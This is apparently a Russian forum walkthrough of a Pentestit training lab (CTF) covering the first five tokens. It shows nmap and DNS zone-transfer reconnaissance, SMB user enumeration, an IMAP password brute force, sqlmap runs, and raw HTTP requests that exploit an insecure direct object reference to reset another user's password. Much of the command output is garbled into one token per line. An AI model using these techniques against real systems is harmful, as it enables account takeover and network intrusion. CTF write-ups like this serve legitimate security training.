Привет друзья, всех с Новым 2019 годом!

Хотел выложить статью в Декабре 2018, но очень хотелось найти оставшиеся токены для полноты картины и не давать Вам шансов к легкому прохождению. Так, как пока что (на момент 03.01.2019) - лидер выполнивший все задания только 1 и это CSV, который к тому же единственный, кто выполнил все токены включая Image 21-го декабря.

И вот 04.01.2019 г. пьедестал полностью сформирован и целая группа талантливых персонажей взяли последний и мучительный для них токен Image! перечислю ники на всякий случай: BadBlackHat, Mister_BertOni, zpointer, rOhack, ASV, cryptObOy из этого форума Antichat.net взявшие последний токен в один день, так же ребята rack2009, nerf, oneGuard и конечно же монстр лабы, который прошел ее просто молниеносно, CSV! Браво всем!

https://forum.antichat.xyz/attachmen...ee9e164ef5.png

С разрешения создателей,

Хочу представить Вашему вниманию прохождение всем известной и любимой нашей команде лабораторки от Pentestitпод номером 12 вышедшей 14 Декабря 2018 г. Предыдущую лабораторку мы начали не с самого начала, да и признаться, у меня лично не было внутреннего огонька и самоуверенности в том, что я дойду хотя бы до середины... От себя скажу всем, кто интересуется ИБ или кто хочет научиться азам и начать развиваться в этом направлении - ребята эта лабораторка именно то, что Вам нужно. Аналогов ей просто нет, несмотря на все root-me, hackme, hackthebox и т.п. В ней все приближено к реальным событиям в локальных сетях. Напрашивается вопрос, о чем несет автор, рутми сложен или если что в гугле есть ответы. Вот мой ответ - все CTF для меня ассоциируются с пошаговой стратегией с уже имеющимся сэйвом - если не понравилось задание, открываете другое - ну Вы поняли да, а подобные лабораторки это как ГТА 4 в свое время, когда можно двигаться в любом направлении при выполнении определенных сюжетных заданий, ну думаю поняли разницу.

Да и еще, прошу Вас обратить внимание, что к написанию статьи мы подошли с трепетностью и душой.

Все, что я находил ранее, обзоры предыдущих лаб, то он сделаны примерно по следующему принципу:

https://forum.antichat.xyz/attachmen...a7a0069097.png

Мы постарались описать все действия, при том, мы постарались скрыть все токены, дабы оставить Вам шанс проявить себя. Все написанное не более чем личный взгляд автора на классную лабораторную. Текст может иметь помарки и режущие фразы не относящиеся к литературному изложению, так сказать "по домашнему".

В этом году организаторы решили не давать карту сети в руки, люди поделились на 2 типа, кому начхать и те, как я, привыкшие работать по бумажке. Это даже хорошо, постараемся собрать свою карту сети и снабдить Вас достаточными знаниями, погнали...

https://forum.antichat.xyz/attachmen...ce3e80f2f5.png

По старой доброй привычке, я лично решил проходить задания на Винде (Windows 10 Redstone 5) по причине кончины моего рабочего Deepin, а именно нового загрузчика Grub 3 и было просто лениво его реанимировать и хотел поскорее начать. Сразу оговорюсь, это не чистая Винда, а все таки с shell на нем.

Часть 1
Разведка
1. MAIL Token
2. DNS Token
3. AD Token
4. HELPDESK Token
5. VPN Token
Карта сети
Часть 2
6. SIEM Token
7. REPOSITORY Token
8. MY Token
9. USERS Token
10. SITE Token
Часть 3
11. REVERSE Token
12. DB Token
13. UserAPI Token
Часть 4
14. API Token
15. ADMIN Token
16. IMAGE Token
Заключение
________________________________________
z 9r347 39u411z3r

Lab's gateways: 192.168.101.12 and 192.168.101.13
________________________________________

Нам намекают на 2 хоста и да, не ищите подвох или токен в названии лабы - z 9r347 39u411z3r - это всего лишь название the great equalizer. Да и для тех, кто начал впервые и не понимает, что суть всех заданий в полном включении головы - читайте статьи предыдущих лабораторок (1, 2, 3 и вообще перейдите в наш раздел CTF и попытайтесь проверить себя) и тренируйте скил, а лишь после этого садитесь за эти задания.

Разведка:
Для подключения к лаборатории используйте зеленую кнопку HOW TO CONNECT lol вдруг тут новички...
Подключившись к VPN, мы включаем внутренний режим мониторинга и собираем любую доступную информацию.
Для начала сканируем сеть 192.168.101.0/24 чтобы понять что у нас есть.

https://forum.antichat.xyz/attachmen...72e9d57824.png

Мы имеем 3 хоста:
192.168.101.1 - шлюз
192.168.101.12 - вэб-сервис, резолвит как site.test.lab
192.168.101.13 - хз...

При попытке подключения к 80-тому порту по IP мы видим, что нас резолвит на site.test.lab, попробуем добавить его в hosts.

https://forum.antichat.xyz/attachmen...efaaf8d189.png

Вуаля, сайт открылся )

Посканим его:

Bash:


Ну и 13 хост, проверим так же:

Bash:


[/B]

Пытаемся определить что это за вэб-сервис, какой CMS использует:

Bash:


Ничего.

Сканим директории:

Bash:


Останавливаем, WAF не дает нам ничего посмотреть.

Пробуем другой способ проверки содержимого:

Bash:


Только лишь index.html.

Идем на
и рыскаем по коду и по страницам, пытаемся поэксплуатировать формы, найти хоть какую то зацепку.

И находим лишь ящик info@test.lab и по коду страницы понимаем что это Wordpress (все просто, содержание каталогов типа wp-content и wp-includes).

Bash:


Видим SQL уязвимость, но из-за того, что Стоит WAF и лочит нас на 1 минуту. Бросаем затею пока не обойдем ВАФ...

https://forum.antichat.xyz/attachmen...1214215938.png

________________________________________

MAIL Token
Учитесь не упираться в одну точку, а пытаться снова и снова найти векторы и пытаться их эксплуатировать. Как девиз к великому и ужасному OSCP - Try harder!

Для новичков или людей не сведущих - хочу пояснить, может это походит на агонию, но это и есть пентест, дикие, безжалостные попытки найти уязвимость и пытаться эксплуатировать имея только намеки на уязвимость, как это наверное делают настоящие черно шляпники. Может быть с ростом навыка это будет происходить на автомате, но не думаю...

Смотрим на другие открытые порты и Переключаемся на почту:

https://forum.antichat.xyz/attachmen...5e0c4ec26f.png

В коде находим:
hiden_token=W8EIy6cLMUTzNEmhlujjUXxnJiWoizLf - не все так просто, не подходит. Да и вообще, что бы это значило [˧1D4IQ|g&%2

Дальше находим:

Bash:


Проверим, что за ip мы обнаружили:

Bash:


Все фильтруется, не удивительно, ведь мы таких маршрутов не видим.

Пытаемся прогидрить авторизацию:

Bash:


Пытаемся накидать пост запросы, чтобы получить ответ:

Bash:


Ищем выводные данные дальше:

Bash:


[/B]
Рано радуемся, т.к. запрос не верен.

Все не то, т.к. генерируется токен на каждую сессию. Ищем дальше и пробуем подсунуть токен сессии...

Код:

---

_token=jAf0pA3BamXdvJAVf6KuwJ4AOChtr3rt&_task=login&_action=login&_timezone=Asia%2FAlmaty&_url=&_user=info%40test.lab&_pass=123456

---

Bash:


Bash:


Это безумие, не отканывает из-за плавающего токена сессии. Пробуем другие варианты, у нас есть еще порты 25 и 143...
25:

Bash:


Бросаем это гиблое дело и переключаемся на брут имапа:

Bash:


https://forum.antichat.xyz/attachmen...0dac5678b0.png

Easy Братцы, 20 секунд и пасс у нас! Кстати пасс взят со статистики топ 10 простых паролей...

https://forum.antichat.xyz/attachmen...1de923e389.png

Идем авторизоваться к веб-роже RoudCube:

https://forum.antichat.xyz/attachmen...615240b7aa.png

В удаленных находим конфигvpn.conf
В отправленных - токен и еще одно сообщение:
Good day!

Congratulations on your thirtieth birthday!

https://forum.antichat.xyz/attachmen...7d6bfd4766.png

Это всё-таки что-то может значить... 2018-30=09.12.1988 или 12.09.1988
Замечаем доменного пользователя sviridov@test.lab

https://forum.antichat.xyz/attachmen...95af9e88ae.png

Из 25 тысяч участников и 92 онлайн, лидерами взято уже 5 токенов, а мы только справились с первым. Просто я начал только после рабочего времени, а лабораторная началась в 12 по Москве.
________________________________________

Идем дальше...
Имея vpn.conf на руках, нам нужно подключить еще один TAP-интерфейс для OpenVPN чтобы провалиться внутрь другого туннеля:

Смотрим структуру конфига, это линевый формат для OpenVPN. Переименовываем его в ovpn и пробуем подключиться.
Но, нам нужен логин и пароль. Пробуем подобрать пароль от найденной в почте учетной записи sviridov@test.lab, ложно думая, что info это групповая рассылка.

Bash:


4 часа брута - результата нет...
Ничего не вышло, пробуем зайти в VPN на удачу под уже найденным пользователем: info@test.lab
И вуаля, вошли.

Смотрим маршруты:

Bash:


У нас новая сетка 172.16.0.0 и это жесть, 16 маска.
Нашли 4 хоста:
https://forum.antichat.xyz/attachmen...0df684002b.png

Просканируем на сервисы:

Bash:


Bash:


Раздолье прям таки.

Давайте подробнее взглянем на самый интересный:

Bash:


https://forum.antichat.xyz/attachmen...43630345ff.png

________________________________________

DNS Token

Bash:

Код:

---

[
/B
]
root@Ac0st:~
nslookup
>
set
port
=
53
>
set
type
=
ANY
>
SERVER
172.16
.0.17
Default server:
172.16
.0.17
Address:
172.16
.0.17
53
>
test.lab
Server:
172.16
.0.17
Address:
172.16
.0.17
53
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
Name: test.lab
Address:
172.16
.0.17
test.lab
origin
=
test.lab
mail addr
=
ad.test.lab
serial
=
69
refresh
=
5
retry
=
30
expire
=
21600
minimum
=
60
test.lab nameserver
=
ns1.test.lab.
test.lab nameserver
=
ns2.test.lab.
root@Ac0st:~
nslookup
ns1.test.lab
172.16
.0.17
Name: ns1.test.lab
Address:
172.16
.0.17
root@Ac0st:~
nslookup
ns2.test.lab
172.16
.0.17
Name: ns2.test.lab
Address:
172.16
.2.10
nslookup
-type
=
txt _site.test.lab
192.168
.101.1

---

Пробуем дигом:

Bash:

Код:

---

dig
-t txt test.lab
172.16
.0.17
dig
TXT @192.168.101.1 -p
1194
test.lab
dig
@172.16.0.17 axfr ns1.test.lab
[
CODE
]
Скажу, что я исчерпал свои знания запросов по DNS записям - и нужно было прибегать к дополнительному инструментарию. Мой товарищь Антон все же раньше меня нашел данный токен и дал хинт по инструментарию dnsrecon.
[
CODE
=
bash
]
root@Ac0st:/home/clevergod dnsrecon -a -d test.lab -n
172.16
.0.17
[
*
]
Performing General Enumeration of Domain: test.lab
[
*
]
Checking
for
Zone Transfer
for
test.lab name servers
[
*
]
Resolving SOA Record
[
-
]
Error
while
resolving SOA record.
[
*
]
Resolving NS Records
[
-
]
Could not Resolve NS Records
[
*
]
Removing any duplicate NS server IP Addresses
..
.
[
*
]
Checking
for
Zone Transfer
for
test.lab name servers
[
*
]
Resolving SOA Record
[
-
]
Error
while
resolving SOA record.
[
*
]
Resolving NS Records
[
-
]
Could not Resolve NS Records
[
*
]
Removing any duplicate NS server IP Addresses
..
.

---

https://forum.antichat.xyz/attachmen...20de7b6b54.png

Этот NS сервер пустозвонит, пробуем другой:

Bash:

Код:

---

root@Ac0st:/home/clevergod dnsrecon -a -d test.lab -n
172.16
.2.10
[
*
]
Performing General Enumeration of Domain: test.lab
[
*
]
Checking
for
Zone Transfer
for
test.lab name servers
[
*
]
Resolving SOA Record
[
+
]
SOA test.lab
172.16
.0.17
[
*
]
Resolving NS Records
[
*
]
NS Servers found:
[
*
]
NS ns1.test.lab
172.16
.0.17
[
*
]
NS ns2.test.lab
172.16
.2.10
[
*
]
Removing any duplicate NS server IP Addresses
..
.
[
*
]
[
*
]
Trying NS server
172.16
.0.17
[
-
]
Zone Transfer Failed
for
172.16
.0.17
!
[
-
]
Port
53
TCP is being filtered
[
*
]
[
*
]
Trying NS server
172.16
.2.10
[
+
]
172.16
.2.10 Has port
53
TCP Open
[
+
]
Zone Transfer was successful
!
!
[
*
]
NS ns1.test.lab
172.16
.0.17
[
*
]
NS ns2.test.lab
172.16
.2.10
[
*
]
A @.test.lab
172.16
.0.17
[
*
]
A db.test.lab
172.16
.0.30
[
*
]
A dc.test.lab
172.16
.0.17
[
*
]
A helpdesk.test.lab
172.16
.0.10
[
*
]
A ns2.test.lab
172.16
.2.10
[
*
]
A my.test.lab
172.16
.0.10
[
*
]
A ad.test.lab
172.16
.0.17
[
*
]
A site.test.lab
172.16
.0.10
[
*
]
A gc._msdcs.test.lab
172.16
.0.17
[
*
]
A dns.test.lab
172.16
.0.17
[
*
]
A dns.test.lab
172.16
.2.10
[
*
]
A ns1.test.lab
172.16
.0.17
[
*
]
A token-
[
B
]
токен
[
/B
]
.test.lab
127.0
.0.1
[
*
]
SRV _ldap._tcp.gc._msdcs.test.lab @
3268
0
no_ip
[
*
]
SRV _kpasswd._udp.test.lab @
464
0
no_ip
[
*
]
SRV _kpasswd._tcp.test.lab @
464
0
no_ip
[
*
]
SRV _ldap._tcp.test.lab @
389
0
no_ip
[
*
]
SRV _kerberos._tcp.dc._msdcs.test.lab @
88
0
no_ip
[
*
]
SRV _kerberos._udp.test.lab @
88
0
no_ip
[
*
]
SRV _ldap._tcp.dc._msdcs.test.lab @
389
0
no_ip
[
*
]
SRV _ldap._tcp.ForestDnsZones.test.lab @
389
0
no_ip
[
*
]
SRV _kerberos._tcp.test.lab @
88
0
no_ip
[
*
]
Checking
for
Zone Transfer
for
test.lab name servers
[
*
]
Resolving SOA Record
[
+
]
SOA test.lab
172.16
.0.17
[
*
]
Resolving NS Records
[
*
]
NS Servers found:
[
*
]
NS ns1.test.lab
172.16
.0.17
[
*
]
NS ns2.test.lab
172.16
.2.10
[
*
]
Removing any duplicate NS server IP Addresses
..
.
[
*
]
[
*
]
Trying NS server
172.16
.0.17
[
-
]
Zone Transfer Failed
for
172.16
.0.17
!
[
-
]
Port
53
TCP is being filtered
[
*
]
[
*
]
Trying NS server
172.16
.2.10
[
+
]
172.16
.2.10 Has port
53
TCP Open
[
+
]
Zone Transfer was successful
!
!
[
*
]
NS ns1.test.lab
172.16
.0.17
[
*
]
NS ns2.test.lab
172.16
.2.10
[
*
]
A @.test.lab
172.16
.0.17
[
*
]
A db.test.lab
172.16
.0.30
[
*
]
A dc.test.lab
172.16
.0.17
[
*
]
A helpdesk.test.lab
172.16
.0.10
[
*
]
A ns2.test.lab
172.16
.2.10
[
*
]
A my.test.lab
172.16
.0.10
[
*
]
A ad.test.lab
172.16
.0.17
[
*
]
A site.test.lab
172.16
.0.10
[
*
]
A gc._msdcs.test.lab
172.16
.0.17
[
*
]
A dns.test.lab
172.16
.0.17
[
*
]
A dns.test.lab
172.16
.2.10
[
*
]
A ns1.test.lab
172.16
.0.17
[
*
]
A token-
[
B
]
токен
[
/B
]
.test.lab
127.0
.0.1
[
*
]
SRV _ldap._tcp.gc._msdcs.test.lab @
3268
0
no_ip
[
*
]
SRV _kpasswd._udp.test.lab @
464
0
no_ip
[
*
]
SRV _kpasswd._tcp.test.lab @
464
0
no_ip
[
*
]
SRV _ldap._tcp.test.lab @
389
0
no_ip
[
*
]
SRV _kerberos._tcp.dc._msdcs.test.lab @
88
0
no_ip
[
*
]
SRV _kerberos._udp.test.lab @
88
0
no_ip
[
*
]
SRV _ldap._tcp.dc._msdcs.test.lab @
389
0
no_ip
[
*
]
SRV _ldap._tcp.ForestDnsZones.test.lab @
389
0
no_ip
[
*
]
SRV _kerberos._tcp.test.lab @
88
0
no_ip
[
-
]
DNSSEC is not configured
for
test.lab
[
*
]
SOA test.lab
172.16
.0.17
[
*
]
NS ns1.test.lab
172.16
.0.17
[
*
]
NS ns2.test.lab
172.16
.2.10
[
-
]
Recursion enabled on NS Server
172.16
.2.10
[
*
]
Bind Version
for
172.16
.2.10
9.10
.3-P4-Debian
[
-
]
Could not Resolve MX Records
for
test.lab
[
*
]
A test.lab
172.16
.0.17
[
*
]
Enumerating SRV Records
[
*
]
SRV _kerberos._tcp.test.lab test.lab
172.16
.0.17
88
0
[
*
]
SRV _kerberos._udp.test.lab test.lab
172.16
.0.17
88
0
[
*
]
SRV _ldap._tcp.test.lab test.lab
172.16
.0.17
389
0
[
*
]
SRV _ldap._tcp.ForestDNSZones.test.lab test.lab
172.16
.0.17
389
0
[
*
]
SRV _ldap._tcp.dc._msdcs.test.lab test.lab
172.16
.0.17
389
0
[
*
]
SRV _kpasswd._udp.test.lab test.lab
172.16
.0.17
464
0
[
*
]
SRV _ldap._tcp.gc._msdcs.test.lab test.lab
172.16
.0.17
3268
0
[
*
]
SRV _kerberos._tcp.dc._msdcs.test.lab test.lab
172.16
.0.17
88
0
[
*
]
SRV _kpasswd._tcp.test.lab test.lab
172.16
.0.17
464
0
[
+
]
9
Records Found

---

Записи получены, там же заблудился и токен.

https://forum.antichat.xyz/attachmen...6b3c37a207.png

Пока мы копошились, мировые умы ушли далеко вперед, уже 11 токенов взято.

Пройдя этот токен - Мы имеем:

Цитата:

172.16.0.10 site.test.lab 172.16.0.10 my.test.lab 172.16.0.10 helpdesk.test.lab 172.16.0.17 ad.test.lab 172.16.0.17 dc.test.lab 172.16.0.17 ns1.test.lab 172.16.2.10 ns2.test.lab 172.16.2.10 dns.test.lab 172.16.0.30 db.test.lab

Заносим найденные доменные имена и айпишники в hosts.

!Хочу немного пояснить, любая найденная информация на любом этапе может быть полезна, так что не стесняйтесь конспектировать, делать скрины и собирать все малейшие зацепки.

________________________________________

AD Token

По результатам сканирования портов и определения сервисов, в первую очередь 445 порта,

https://forum.antichat.xyz/attachmen...d1f84aef9c.png

Пробуем перечислить __SAMBA__

Код:

---

net use \\172.16.0.17\IPC$ "" /u:""
172.16.0.17 [host down]

---

Код:

---

root@Ac0st:smbclient -L //172.16.0.17
172.16.0.17 [host down]

---

Код:

---

root@Ac0st:/home/clevergod nbtscan-unixwiz -f 172.16.0.17 > nbtscan
*timeout (normal end of scan)

---

Код:

---

root@Ac0st:nmap -sU -sS --script=smb-enum-users -p U:137,T:139 172.16.0.17
172.16.0.17 [host down]

---

Код:

---

root@Ac0st: nmap -v --script=smb-enum-users -p445 172.16.0.17 -Pn

---

В общем сетка лежит, периодически проблемы с доступностью, попробуем позднее. Прошу обратить внимание на изобилие средств и каждая эта утилита может нам предоставить различный результат.

В итоге нам удается сэнумерейтить юзеров:

Bash:

Код:

---

nmap -sS --script smb-enum-users
172.16
.0.17
Nmap scan report
for
172.16
.0.17
Host is up
(
0
.38s latency
)
.
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
PORT STATE SERVICE
139
/tcp
open
netbios-ssn
445
/tcp
open
microsoft-ds
Host script results:
|
smb-enum-users:
|
BUILTIN
\
Administrator
(
RID:
500
)
|
Full name:
|
Description: Built-in account
for
administering the computer/domain
|
Flags: Normal user account
|
BUILTIN
\
Guest
(
RID:
501
)
|
Full name:
|
Description: Built-in account
for
guest access to the computer/domain
|
Flags: Normal user account, Password not required, Account disabled, Password does not expire
|
BUILTIN
\
info
(
RID:
1104
)
|
Full name: info
|
Description:
|
Flags: Normal user account
|
BUILTIN
\
krbtgt
(
RID:
502
)
|
Full name:
|
Description: Key Distribution Center Service Account
|
Flags: Normal user account, Account disabled
|
BUILTIN
\
lomonosov
(
RID:
1111
)
|
Full name:
|
Description:
|
Flags: Normal user account
|
BUILTIN
\
petrov
(
RID:
1110
)
|
Full name:
|
Description:
|
Flags: Normal user account
|
BUILTIN
\
sidorov
(
RID:
1108
)
|
Full name:
|
Description:
|
Flags: Normal user account
|
BUILTIN
\
sviridov
(
RID:
1106
)
|
Full name:
|
Description:
|
Flags: Normal user account
|
BUILTIN
\
token_
[
B
]
токен
[
/B
]
(
RID:
1118
)
|
Full name:
|
Description:
|
Flags: Normal user account
Nmap done:
1
IP address
(
1
host
up
)
scanned
in
14.27
seconds

---

Если бы под руками была спарта (Sparta) данный токен был бы найден намного быстрее.

А еще можно использовать и другие средства, например старый добрый LanSpy:

https://forum.antichat.xyz/attachmen...8692b1a3a4.png

Токен взят... Оба они были почти в одном месте, ну я так считаю и были достаточно простыми.

https://forum.antichat.xyz/attachmen...47c910edf0.png

Мы имеем:

Цитата:

Administrator info lomonosov petrov sidorov sviridov Guest - disabled krbtgt - disabled

Ну и подведем мини итог по нахождению 3 токенов за прошедшие 2 дня поиска - это 18% на статусбаре


________________________________________

HELPDESK Token

Код:

---

http://helpdesk.test.lab

---

https://forum.antichat.xyz/attachmen...bbc9b1cc21.png

Визуально только форма авторизации, и по коду 2 изображения имеют 404 ошибку: http://helpdesk.test.lab/footimg.jpg и favicon.ico котрый не всчет...

https://forum.antichat.xyz/attachmen...811f6497a9.png

Параллельно ищем векторы sqmap'om:

Bash:

Код:

---

sqlmap -u http://helpdesk.test.lab --forms --batch --crawl
=
10
--cookie
=
jsessionid
=
54321
--level
=
5
--risk
=
3
sqlmap -o -u
"http://helpdesk.test.lab/"
--forms
sqlmap -u
"http://helpdesk.test.lab/index.php?ad=1"
--dbms
=
mysql --tech
=
U --random-agent --dump

---

Мап ничего не дал. Все мол чисто и хорошо.

Другие сканеры говорят о том, что на формах присутствует plaintext авторизация и это все, что они видят.

По факту находим только 2 формы

Код:

---

http://helpdesk.test.lab/login.php

---

Код:

---

http://helpdesk.test.lab/changepass.php

---

и одна форма выхода, ее не берем в счет.

Составляем список найденных в DNS пользователей, с учетом исключения отключенных и пробуем брутить:

Цитата:

Administrator@test.lab info@test.lab lomonosov@test.lab petrov@test.lab sidorov@test.lab sviridov@test.lab

Пробуем зайти туда имеющимся логином и паролем и смотрим на запросы формы http://helpdesk.test.lab/login.php

Попали внутрь. Осматриваемся и ищем векторы.

В этой форме находим скрытый элемент:

Код:

---

---

Сначала думаем, что это токен, но в стринге это число 145 и мы тем самым узнаем ID нашего пользователя info

Там есть еще поле с вводом команды, но по коду видим, что это поле значения login=

Bash:

Код:

---

POST /
[
B
]
changepass.php
[
/B
]
HTTP/1.1
Host: helpdesk.test.lab
User-Agent: Mozilla/5.0
(
Windows NT
10.0
;
Win64
;
x64
;
rv:64.0
)
Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml
;
q
=
0.9
,*/*
;
q
=
0.8
Accept-Language: ru-RU,ru
;
q
=
0.8
,en-US
;
q
=
0.5
,en
;
q
=
0.3
Accept-Encoding: gzip, deflate
Referer:
[
B
]
http://helpdesk.test.lab/changepass.php
[
/B
]
Content-Type: application/x-www-form-urlencoded
Content-Length:
55
Connection: close
Cookie:
PHPSESSID
=
9tu10hliictngub91acpm70bk6
Upgrade-Insecure-Requests:
1

---

Эта форма дает возможность менять пароль текущего пользователя:

Код:

---

password=1&confpassword=2&id=MTQ1Cg%3D%3D&submit=Change

---

т.е. мы проверили совпадение он все таки ищет или есть ли еще один вектор.

Код:

---

password=1234567890&confpassword=1234567890&id=MTQ1Cg%3D%3D&submit=Change

---

Пароль действительно меняется, да и как выяснили с повышенными привилегиями.

Делаем словарь из чисел от 1-1000, преобразовываем в base64 а затем в url encode чтобы убрать символы =

Дикость, но по факту составив словарь скриптом

Код:

---

echo {1..1000} | base64 >id.txt

---

а затем получившиеся цифры в base64 построчно и число 145 получается как MTQ1 хотя MTQ1Cg== это тоже при декодинге 145... (Cg== это перенос строки или \n)

Пробуем средствами бурпа:

https://forum.antichat.xyz/attachmen...e8a2f67ef2.png

Все изыскания и попытки состряпать такой словарик потерпел неудачу, т.к. построчный перевод ни батником, ни другими подвластными мне средствами на винде не давался. Даже встроенным функционалом Burp Siute в разделе Payload Intruder не верно делал необходимое.

Есть такой хороший человек с дружественной нам Белоруссии 3n.do - спасибо ему огромное, дал сгенереный словарик скриптом написанный им самим на питоне.

Пройдясь по нему взяв в подбор id мы получили 302 ответ на 2-ух id это MTQ1Cg%3D%3D или наш 145 и NDQwCg%3D%3D - а это новое значение в base64 NDQwCg== или 440

https://forum.antichat.xyz/attachmen...92e3f008d3.png

т.е. ID пользователя доступного к смене пароля 440 и нам всего лишь нужно найти логин этого пользователя, ведь пароль ему мы сменили.

Не забываем у нас есть всего пару минут, ведь виртуалка откатывается к первоначальному значению через 3-5 минут.

По предположению это sviridov@test.lab и это было верным замечанием.

Код:

Код:

---

POST /changepass.php HTTP/1.1
Host: helpdesk.test.lab
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://helpdesk.test.lab/changepass.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Connection: close
Cookie: PHPSESSID=9tu10hliictngub91acpm70bk6
Upgrade-Insecure-Requests: 1

password=12345&confpassword=12345&id=NDQwCg%3D%3D&submit=Change

---

https://forum.antichat.xyz/attachmen...04eafa1611.png

Мы видим в Helpdesk следующее:

Цитата:

----------------------------------------------------------------------------------------------------------------------------------- My Requests ----------------------------------------------------------------------------------------------------------------------------------- Date Request Status Comment attachment ----------------------------------------------------------------------------------------------------------------------------------- 10.10.10 Access to corporate VPN Done ----------------------------------------------------------------------------------------------------------------------------------- 10.10.10 Restore the password to my corporate network account. Done New password."значение" Change it! -----------------------------------------------------------------------------------------------------------------------------------

Токен взят! Самый долгий, жгучий и невыносимый пока что токен. На него было потрачено уйму времени, но тем самым он отложился в голове, думаю и Вам будет полезно.

https://forum.antichat.xyz/attachmen...0f8d530b9a.png

И пока мы решали этот токен в течении нескольких дней и ночей в Лабе появился лидер, который нашел все токены. Забегая вперед скажу, что по состоянию на 02.01.2019 он пока что единственный собравший все токены. Image токен пока не поддался никому из лидеров.

(Ребята, кто не усвоил урок, просьба сделайте все по человечески, без скрипта):
________________________________________

VPN Token

Когда мы взяли токен HelpDesk и там увидели явный намек, что есть еще один VPN, попробуем его искать большими и долгими всепортовыми запросами:

Bash:

Код:

---

nmap -sU -T4 -A -v -Pn
192.168
.101.0/24

---

Bash:

Код:

---

nmap -sU -T4 -A -v -Pn
172.16
.0.16/24

---

Это жуть как долго, попробуем ускорить пройдя по портам VPN:

Bash:

Код:

---

nmap -sU -p
1701,1194
,1723,1293,500,4500 -T2 -v -Pn
192.168
.101.0/24

---

Пока сканируется, мы смотрим на конфиг VPN и замечаем что мы сканим зря, т.к. в конфиге как раз указан UDP порт и IP. Пробуем сократить до имеющихся IP адресов и порт.

Bash:

Код:

---

nmap -sU -vv -p0-2000
192.168
.101.12-13
Discovered
open
port
1194
/udp on
192.168
.101.13
Discovered
open
port
1194
/udp on
192.168
.101.12

---

Дублируем имеющийся конфиг, меняем IP-адрес и пробуем войти под новым логином.

Мы в сети. Проверяем маршрутизацию и проверяем сетку.

Bash:

Код:

---

root@Ac0st:/home/clevergod
ip
route
|
grep
eth
none
255.255
.255.255 dev eth0 proto unspec metric
0
none
224.0
.0.0/4 dev eth0 proto unspec metric
0
none
10.10
.1.107 dev eth0 proto unspec metric
0
none
10.10
.1.104/30 dev eth0 proto unspec metric
0
none
10.10
.1.106 dev eth0 proto unspec metric
0
none
192.168
.101.0/24 via
10.10
.1.105 dev eth0 proto unspec metric
0
none
10.10
.0.1 via
10.10
.1.105 dev eth0 proto unspec metric
0
none
255.255
.255.255 dev eth1 proto unspec metric
0
none
224.0
.0.0/4 dev eth1 proto unspec metric
0
none
10.12
.0.63 dev eth1 proto unspec metric
0
none
10.12
.0.60/30 dev eth1 proto unspec metric
0
none
10.12
.0.62 dev eth1 proto unspec metric
0
none
172.16
.0.0/16 via
10.12
.0.61 dev eth1 proto unspec metric
0
none
[
B
]
192.168
.0.0/24
[
/B
]
via
10.12
.0.61 dev eth1 proto unspec metric
0
none
10.12
.0.1 via
10.12
.0.61 dev eth1 proto unspec metric
0
none
255.255
.255.255 dev eth2 proto unspec metric
0
none
224.0
.0.0/4 dev eth2 proto unspec metric
0
none
169.254
.255.255 dev eth2 proto unspec metric
0
none
169.254
.0.0/16 dev eth2 proto unspec metric
0
none
169.254
.226.236 dev eth2 proto unspec metric
0
none
255.255
.255.255 dev eth3 proto unspec metric
0
none
224.0
.0.0/4 dev eth3 proto unspec metric
0

---

Сеть та же, добавилась еще одна стандартная сетка.

Проверив 24 маску 172.16 находим только 1 новый IP:

Bash:

Код:

---

Nmap scan report
for
172.16
.0.14
Host is up
(
0
.23s latency
)
.
Not shown:
98
filtered ports
PORT STATE SERVICE
22
/tcp
open
ssh
80
/tcp
open
http
Nmap done:
1
IP address
(
1
host
up
)
scanned
in
11.00
seconds

---

Запускаем на скан 16 маску по быстрому:

Bash:

Код:

---

nmap -sn
172.16
.1.0/16
Nmap scan report
for
172.16
.1.1
Host is up
(
0
.14s latency
)
.
Nmap scan report
for
172.16
.1.10
Host is up
(
0
.19s latency
)
.
Nmap scan report
for
172.16
.1.12
Host is up
(
0
.13s latency
)
.
Nmap scan report
for
172.16
.1.15
Host is up
(
0
.19s latency
)
.
Nmap done:
256
IP addresses
(
4
hosts up
)
scanned
in
32.18
seconds

---

https://forum.antichat.xyz/attachmen...18df99281d.png

а затем прогоним на сервисы найденные хосты:

Bash:

Код:

---

Nmap scan report
for
172.16
.1.1
Host is up
(
0
.28s latency
)
.
All
100
scanned ports on
172.16
.1.1 are filtered
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
Nmap scan report
for
172.16
.1.10
Host is up
(
0
.17s latency
)
.
Not shown:
99
filtered ports
PORT STATE SERVICE
80
/tcp
open
http
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
Nmap scan report
for
172.16
.1.12
Host is up
(
0
.27s latency
)
.
Not shown:
98
filtered ports
PORT STATE SERVICE
22
/tcp
open
ssh
80
/tcp
open
http
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
Nmap scan report
for
172.16
.1.15
Host is up
(
0
.24s latency
)
.
Not shown:
99
filtered ports
PORT STATE SERVICE
80
/tcp
open
http
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
/B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
[
B
]
Nmap done:
4
IP addresses
(
4
hosts up
)
scanned
in
18.21
seconds

---

Нашли еще 4 новых IP-адреса.

Лазаем, ищем и если проявим внимательность в маршрутизации, то получим токен.

https://forum.antichat.xyz/attachmen...5544a1f491.png

________________________________________

